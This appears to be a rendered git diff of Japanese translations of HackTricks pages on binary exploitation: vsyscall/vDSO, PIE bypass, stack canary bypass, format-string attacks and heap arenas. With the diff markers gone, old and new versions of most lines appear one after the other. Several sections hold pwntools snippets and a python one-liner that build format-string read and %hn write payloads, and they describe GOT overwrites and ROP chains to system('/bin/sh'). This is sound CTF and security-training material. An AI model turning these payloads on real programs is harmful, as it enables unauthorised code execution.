**`vsyscall`** メカニズムは、特定のシステムコールをユーザースペースで実行できるようにすることでパフォーマンスを向上させますが、これらは基本的にカーネルの一部です。**vsyscalls** の重要な利点は、**ASLR**(アドレス空間配置のランダム化)の影響を受けない**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、エクスプロイトで使用するために情報漏洩の脆弱性を必要としません。\
しかし、ここでは特に興味深いガジェットは見つからないでしょう(例えば、`ret;` の同等物を取得することは可能です)。
(以下の例とコードは [**この書き込みから**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) です)
(以下の例とコードは[**この書き込みから**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)です)
例えば、攻撃者はエクスプロイト内でアドレス `0xffffffffff600800` を使用するかもしれません。`ret` 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定になったりクラッシュしたりする可能性がありますが、**vsyscall** セクションによって提供される `syscall` の開始地点にジャンプすることは成功する可能性があります。この**vsyscall** アドレスへの実行を導く**ROP**ガジェットを慎重に配置することで、攻撃者はこのエクスプロイトの部分で**ASLR**をバイパスすることなくコード実行を達成できます。
例えば、攻撃者はエクスプロイト内でアドレス `0xffffffffff600800` を使用するかもしれません。`ret` 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定さやクラッシュを引き起こす可能性がありますが、**vsyscall** セクションによって提供される `syscall` の開始地点にジャンプすることは成功する可能性があります。この**vsyscall** アドレス実行を導く**ROP**ガジェットを慎重に配置することで、攻撃者はこのエクスプロイトの部分で**ASLR**をバイパスすることなくコード実行を達成できます。
```
ef➤ vmmap
Start End Offset Perm Path
@ -273,7 +274,7 @@ gef➤ x/4i 0xffffffffff600800
```
### vDSO
したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、**vdso を悪用して ASLR をバイパスする**ことが可能であることに注意してください。vdso アドレスはランダム化されません。詳細については、次を確認してください:
したがって、カーネルがCONFIG_COMPAT_VDSOでコンパイルされている場合、**vdsoを悪用してASLRをバイパスする**ことが可能であることに注意してください。vdsoアドレスはランダム化されません。詳細については、次を確認してください
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -6,24 +6,24 @@
PIE**Position Independent Executable**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、**固定オフセット**を使って他のアドレスを計算できます。
これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、その**固定オフセット**を使って他のアドレスを計算できます。
PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに動作しない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
PIEバイナリを悪用する際の役立つヒントは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるため、**基本アドレスは通常000で終わる**ことです。このアライメントは、**エクスプロイトが期待通りに動作しない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
## バイパス
PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
- **ASLRを無効にする**: ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
- **ASLRを無効にする**ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
- 漏洩を**与えられる**簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)
- スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる:
- スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- [**フォーマットストリング**](../../format-strings/index.html)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させ(例:前の技術のようにスタックから)ことで、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
- [**フォーマットストリング**](../../format-strings/index.html)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させ(例:前の技術のようにスタックから)、バイナリのベースを取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
## 参考文献

View File

@ -1,37 +1,37 @@
# スタックカナリア
# Stack Canaries
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard と StackShield**
**StackGuard** は、**EIP (Extended Instruction Pointer)** の前に **カナリア** として知られる特別な値 `0x000aff0d`ヌル、改行、EOF、キャリッジリターンを表すを挿入して、バッファオーバーフローから保護します。しかし、`recv()``memcpy()``read()`、および `bcopy()` のような関数は依然として脆弱であり、**EBP (Base Pointer)** を保護することはありません。
**StackGuard** は、**EIP (Extended Instruction Pointer)** の前に **canary** として知られる特別な値を挿入します。具体的には `0x000aff0d`ヌル、改行、EOF、キャリッジリターンを表す、バッファオーバーフローから保護します。しかし、`recv()``memcpy()``read()`、および `bcopy()` のような関数は依然として脆弱であり、**EBP (Base Pointer)** を保護ません。
**StackShield** は、すべての戻りアドレス (**EIPs**) を保存する **グローバルリターンスタック** を維持することで、StackGuard よりも洗練されたアプローチを取ります。この設定により、オーバーフローが発生しても害を及ぼさず、保存された戻りアドレスと実際の戻りアドレスを比較してオーバーフローの発生を検出できます。さらに、StackShield は戻りアドレスを境界値と照合して、**EIP** が期待されるデータ空間の外を指しているかどうかを検出できます。しかし、この保護は Return-to-libc、ROP (Return-Oriented Programming)、または ret2ret のような技術によって回避可能であり、StackShield がローカル変数を保護しないことを示しています。
**StackShield** は、**Global Return Stack** を維持することで、StackGuard よりも洗練されたアプローチを取ります。これにより、すべての戻りアドレス(**EIPs**)が保存され、オーバーフローが発生しても害を及ぼさないようにします。保存された戻りアドレスと実際の戻りアドレスを比較することで、オーバーフローの発生を検出できます。さらに、StackShield は戻りアドレスを境界値と照合して、**EIP** が期待されるデータ空間の外を指しているかどうかを検出できます。しかし、この保護は Return-to-libc、ROP (Return-Oriented Programming)、または ret2ret のような技術によって回避可能であり、StackShield がローカル変数を保護しないことを示しています。
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
このメカニズムは、**EBP** の前に **カナリア** を配置し、ローカル変数を再配置してバッファをより高いメモリアドレスに配置し、他の変数を上書きないようにします。また、ローカル変数の上にスタックで渡された引数を安全にコピーし、これらのコピーを引数として使用します。しかし、8 要素未満の配列やユーザーの構造内のバッファは保護されません。
このメカニズムは、**EBP** の前に **canary** を配置し、ローカル変数を再配置してバッファを高いメモリアドレスに配置し、他の変数を上書きできないようにします。また、ローカル変数の上にスタックで渡された引数を安全にコピーし、これらのコピーを引数として使用します。しかし、8 要素未満の配列やユーザーの構造内のバッファは保護ません。
**カナリア** は `/dev/urandom` から派生したランダムな数またはデフォルト値 `0xff0a0000` です。これは **TLS (Thread Local Storage)** に保存され、スレッド間で共有メモリ空間がスレッド固有のグローバルまたは静的変数を持つことを可能にします。これらの変数は最初に親プロセスからコピーされ、子プロセスは親や兄弟に影響を与えずにデータを変更できます。しかし、**`fork()` を使用して新しいカナリアを作成しない場合、すべてのプロセス(親と子)は同じカナリアを共有し、脆弱になります**。**i386** アーキテクチャでは、カナリア`gs:0x14` に保存され、**x86_64** では `fs:0x28` に保存されます。
**canary** は `/dev/urandom` から派生したランダムな数またはデフォルト値 `0xff0a0000` です。これは **TLS (Thread Local Storage)** に保存され、スレッド間で共有メモリ空間がスレッド固有のグローバルまたは静的変数を持つことを可能にします。これらの変数は最初に親プロセスからコピーされ、子プロセスは親や兄弟に影響を与えずにデータを変更できます。しかし、**`fork()` を使用して新しい canary を作成しない場合、すべてのプロセス(親と子)は同じ canary を共有し、脆弱になります**。**i386** アーキテクチャでは、canary `gs:0x14` に保存され、**x86_64** では `fs:0x28` に保存されます。
このローカル保護は、攻撃に脆弱なバッファを持つ関数を特定し、これらの関数の先頭にカナリアを配置するコードを注入し、末尾でその整合性を確認します。
このローカル保護は、攻撃に脆弱なバッファを持つ関数を特定し、これらの関数の先頭にコードを注入して canary を配置し、末尾でその整合性を確認します。
ウェブサーバーが `fork()` を使用すると、カナリアをバイト単位で推測するブルートフォース攻撃が可能になります。しかし、`fork()` の後に `execve()` を使用するとメモリ空間が上書きされ、攻撃が無効になります。`vfork()` は、子プロセスが書き込みを試みるまで複製なしで実行できるため、プロセス作成とメモリ処理に異なるアプローチを提供します。
ウェブサーバーが `fork()` を使用すると、canary バイトをバイト単位で推測するためのブルートフォース攻撃が可能になります。しかし、`fork()` の後に `execve()` を使用するとメモリ空間が上書きされ、攻撃が無効になります。`vfork()` は、子プロセスが書き込みを試みるまで複製なしで実行できるようにし、その時点で複製が作成され、プロセスの作成とメモリ管理に異なるアプローチを提供します。
### 長さ
`x64` バイナリでは、カナリアクッキーは **`0x8`** バイトの qword です。最初の 7 バイトはランダムで、最後のバイトは **ヌルバイト** です。
`x64` バイナリでは、canary クッキーは **`0x8`** バイトの qword です。**最初の 7 バイトはランダム**で、最後のバイトは **ヌルバイト**です。
`x86` バイナリでは、カナリアクッキーは **`0x4`** バイトの dword です。最初の 3 バイトはランダムで、最後のバイトは **ヌルバイト** です。
`x86` バイナリでは、canary クッキーは **`0x4`** バイトの dword です。**最初の 3 バイトはランダム**で、最後のバイトは **ヌルバイト**です。
> [!CAUTION]
> 両方のカナリアの最下位バイトはヌルバイトです。これは、スタックの最初に低いアドレスから来るため、**文字列を読み取る関数はそれを読み取る前に停止します**。
> 両方の canary の最下位バイトはヌルバイトであり、これはスタックの最初に来るため、**文字列を読み取る関数はそれを読み取る前に停止します**。
## バイパス
**カナリアを漏洩させ**、その後自分の値で上書きします(例:バッファオーバーフロー)。
**canary を漏洩させ**、その後自分の値で上書きします(例:バッファオーバーフロー)。
- **カナリアが子プロセスでフォークされる場合**、1 バイトずつ **ブルートフォース** することが可能かもしれません:
- **canary が子プロセスでフォークされる場合**、1 バイトずつ **ブルートフォース** することが可能かもしれません:
{{#ref}}
bf-forked-stack-canaries.md
@ -45,25 +45,25 @@ print-stack-canary.md
- **スタックに保存されたポインタの上書き**
スタックがスタックオーバーフローに脆弱な場合、**上書き可能な文字列や関数のアドレスを含む可能性があります**。これにより、スタックカナリアに到達することなく脆弱性を悪用できます。確認してください:
スタックがスタックオーバーフローに脆弱な場合、**上書き可能な文字列や関数のアドレスを含む可能性があります**。これにより、スタック canary に到達することなく脆弱性を悪用できます。確認してください:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **マスターとスレッドカナリアの両方を変更**
- **マスターとスレッドの canary の両方を変更**
カナリアで保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**スレッドのマスターカナリアを変更**できます。その結果、チェックが同じただし変更された2つのカナリアで使用されるため、緩和策は無効になります。
canary で保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**スレッドのマスター canary を変更**できます。その結果、チェックが同じただし変更された2 つの canary で使用されるため、緩和策は無効になります。
さらに、カナリアで保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**TLS に保存されたマスターカナリアを変更**することもできます。これは、スレッドの **スタック****bof** を介して TLS が保存されているメモリ位置に到達することが可能であるためです。\
その結果、チェックが同じただし変更された2つのカナリアで使用されるため、緩和策は無効になります。\
さらに、canary で保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**TLS に保存されたマスター canary を変更**することもできます。これは、スレッドのスタック内**bof** を介して TLS が保存されているメモリ位置に到達することが可能であるためです。\
その結果、チェックが同じただし変更された2 つの canary で使用されるため、緩和策は無効になります。\
この攻撃は次の書き込みで実行されます:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) のプレゼンテーションも確認してください。これは、通常 **TLS****`mmap`** によって保存され、スレッドの **スタック**作成されるときにも `mmap` によって生成されるため、前述の書き込みで示されたようにオーバーフローを許可する可能性があることを示しています
また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) のプレゼンテーションも確認してください。これは、通常 **TLS****`mmap`** によって保存され、スレッドの **スタック** `mmap` によって生成されることを示唆しており、これにより前述の書き込みで示されたようにオーバーフローが可能になるかもしれません
- **`__stack_chk_fail` の GOT エントリを変更**
バイナリが Partial RELRO を持っている場合、任意の書き込みを使用して **`__stack_chk_fail`** の **GOT エントリをダミー関数に変更**し、カナリアが変更されてもプログラムがブロックされないようにできます。
バイナリが Partial RELRO を持っている場合、任意の書き込みを使用して **`__stack_chk_fail` の GOT エントリを**、canary が変更されてもプログラムをブロックしないダミー関数に変更できます。
この攻撃は次の書き込みで実行されます:[https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)

View File

@ -4,24 +4,25 @@
## Enlarge printed stack
スタックオーバーフローに**脆弱なプログラム**が**スタックオーバーフロー**の**一部**を指す**puts**関数を実行できる状況を想像してください。攻撃者は**カナリアの最初のバイトがヌルバイト**`\x00`であり、残りのカナリアは**ランダム**なバイトであることを知っています。次に、攻撃者は**カナリアの最初のバイト**までスタックを**上書きする**オーバーフローを作成することができます。
スタックオーバーフローに**脆弱なプログラム**が**スタックオーバーフロー**の**一部**を指す**puts**関数を実行できる状況を想像してください。攻撃者は**カナリアの最初のバイトがヌルバイト**(`\x00`)であり、残りのカナリアは**ランダム**なバイトであることを知っています。次に、攻撃者は**カナリアの最初のバイト**までスタックを**上書きする**オーバーフローを作成することができます。
その後、攻撃者はペイロードの中間で**puts機能**を呼び出し、**カナリアのすべて**を**印刷**します(最初のヌルバイトを除く)。
この情報を使って、攻撃者は**カナリア**を知っている状態で**新しい攻撃を作成して送信**することができます(同じプログラムセッション内で)。
明らかに、この戦術は非常に**制限されて**おり、攻撃者は**ペイロードの内容**を**印刷**して**カナリアを抽出**し、その後**新しいペイロード**を作成して(**同じプログラムセッション内で****実際のバッファオーバーフローを送信**する必要があります。
明らかに、この戦術は非常に**制限されて**おり、攻撃者は**ペイロードの内容**を**印刷**して**カナリアを抽出**し、その後**新しいペイロード**を作成して(**同じプログラムセッション内で****本物のバッファオーバーフローを送信**する必要があります。
**CTFの例:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64ビット、ASLRが有効ですがPIEはなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。
- 64ビット、ASLRが有効だがPIEなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32ビット、ARM、relroなし、カナリア、nx、pieなし。カナリアを漏洩させるためにputsを呼び出すオーバーフロー + ROPチェーンで`system`を呼び出すためにr0引数`/bin/sh`とpcsystemのアドレスをポップします。
## Arbitrary Read
フォーマット**文字列**によって提供される**任意の読み取り**を使用すると、カナリアを漏洩させることができるかもしれません。この例を確認してください: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) そして、任意のメモリアドレスを読み取るためにフォーマット文字列を悪用することについては:
フォーマット**文字列**によって提供される**任意の読み取り**を使用すると、カナリアを漏洩させることができるかもしれません。この例を確認してください: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) そして、任意のメモリアドレスを読み取るためにフォーマット文字列を悪用することについて読むことができます:
{{#ref}}
../../format-strings/

View File

@ -4,11 +4,11 @@
## 基本情報
Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。続く**パラメータ**は、**生のテキストからフォーマッタを置き換えるための**値**です。
Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。**次のパラメータ**として期待されるのは、**生のテキストからフォーマッタを**置き換えるための**値**です。
他の脆弱な関数には**`sprintf()`**や**`fprintf()`**があります。
脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書き**するための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能す。
脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きする**ための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能になります。
#### フォーマッタ:
```bash
@ -59,20 +59,20 @@ printf("%x %x %x %x")
```
最初のパラメータから4番目のパラメータまで読み取ります。
または、次のようにできます
または、次のようにできます:
```c
printf("%4$x")
```
そして4番目を直接読み取ります。
and read directly the forth.
攻撃者`printf`の**パラメータを制御していることに注意してください。これは基本的に**、`printf`が呼び出されるときに彼の入力がスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができるということです。
攻撃者`printf` **パラメータを制御しており、これは基本的に** 彼の入力が `printf` が呼び出されるときにスタックに存在することを意味します。つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
> [!CAUTION]
> この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスできるようにします**。次のセクションでは、この動作をどのように利用するかが説明されます。
> この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf` にそれらにアクセスさせることができます**。次のセクションでは、この動作をどのように利用するかが説明されます。
## **任意の読み取り**
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n位置**にある**アドレス**を取得し、それを**文字列のように印刷する**ことが可能です0x00が見つかるまで印刷します。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます
フォーマッタ **`%n$s`** を使用して、**`printf`** **n 番目の位置** にある **アドレス** を取得し、それを**文字列のように印刷する**ことが可能です0x00 が見つかるまで印刷します)。したがって、バイナリのベースアドレスが **`0x8048000`** であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます
```python
from pwn import *
@ -86,11 +86,11 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。
> 入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの最後に0x00で文字列が切られるからです。
### オフセットを見つける
入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`を取得するまで**値を増加**させます。
入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`の値を取得するまで**増加**させます。
<details>
@ -127,42 +127,42 @@ p.close()
### どれほど役立つか
任意の読み取りは以下に役立ちます:
任意の読み取りは以下の目的に役立ちます:
- **メモリから** **バイナリ**を**ダンプ**する
- **機密情報が保存されているメモリの特定の部分にアクセスする**(カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワードなど)
## **任意の書き込み**
フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータにおいて**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができるようになります。
フォーマッタ **`%<num>$n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を記録することができます。
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`**という数を**`num`位置が指すアドレスに書き込む**ことが可能です。
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はありません。そのため、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`** の数を**`num`位置で指し示されるアドレスに書き込む**ことが可能です。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
ただし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。**
この例では、目標は**後で呼び出される**関数の**アドレス**を**上書き**することです。これは他の任意書き込みからexec技術を悪用する可能性があります
この例では、目標は**関数**の**アドレス**を**上書き**することです。この関数は後で呼び出される**GOT**テーブルにあります。これは他の任意書き込みからexec技術を悪用する可能性があります
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\
前述のように、アドレスを書くには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
- **HOB**はアドレスの上位2バイトに呼び出されます
- **LOB**はアドレスの下位2バイトに呼び出されます
次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。
次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**。次にもう一方を書きます。
HOB < LOB\
HOB < LOBの場合\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOB\
HOB > LOBの場合\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -173,11 +173,12 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は次の場所にあります:
{{#ref}}
format-strings-template.md
{{#endref}}
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例を参照してください:
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例です:
```python
from pwn import *
@ -198,7 +199,7 @@ p.interactive()
```
## フォーマット文字列からBOFへ
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能であり、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能で、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
## その他の例と参考文献
@ -208,7 +209,7 @@ p.interactive()
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32ビット、relroなし、canaryなし、nx、pieなし、スタックからフラグを漏洩させるためのフォーマット文字列の基本的な使用実行フローを変更する必要はありません
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32ビット、relroあり、canaryなし、nx、pieなし、`fflush`のアドレスをwin関数で上書きするためのフォーマット文字列ret2win
- 32ビット、relroあり、canaryなし、nx、pieなし、`fflush`のアドレスをwin関数ret2winで上書きするためのフォーマット文字列
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`system`のアドレスをGOTテーブルに書き込み、`strlen`を指す。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。

View File

@ -12,7 +12,7 @@
### Basic Chunk Allocation
ヒープにデータを保存するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報が使用され、使用中/未使用のチャンクの位置を把握します。
ヒープにデータを保存するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にしないように、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報を使用して、各使用中/未使用のチャンクの位置を把握します。
スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです:
@ -31,7 +31,7 @@
これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいものを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍までの制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合が発生する可能性があります。
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいものを作成します。これは、32ビットシステムの場合はCPUコア数の2倍、64ビットシステムの場合は8倍までの制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap``mprotect`を使用して「サブヒープ」を作成し、ヒープの動作をシミュレートし、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
@ -39,12 +39,12 @@
サブヒープは、マルチスレッドアプリケーションにおけるセカンダリアリーナのメモリ予備として機能し、メインヒープとは別に自分自身のヒープ領域を成長させ、管理できるようにします。サブヒープが初期ヒープとどのように異なり、どのように機能するかは次のとおりです:
1. **初期ヒープ vs. サブヒープ**
1. **初期ヒープサブヒープ**
- 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。
- セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。
2. **`mmap`によるメモリ予約**
- ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用すべきでない領域を指定するだけです。
- デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1MB、64ビットプロセスで64MBです。
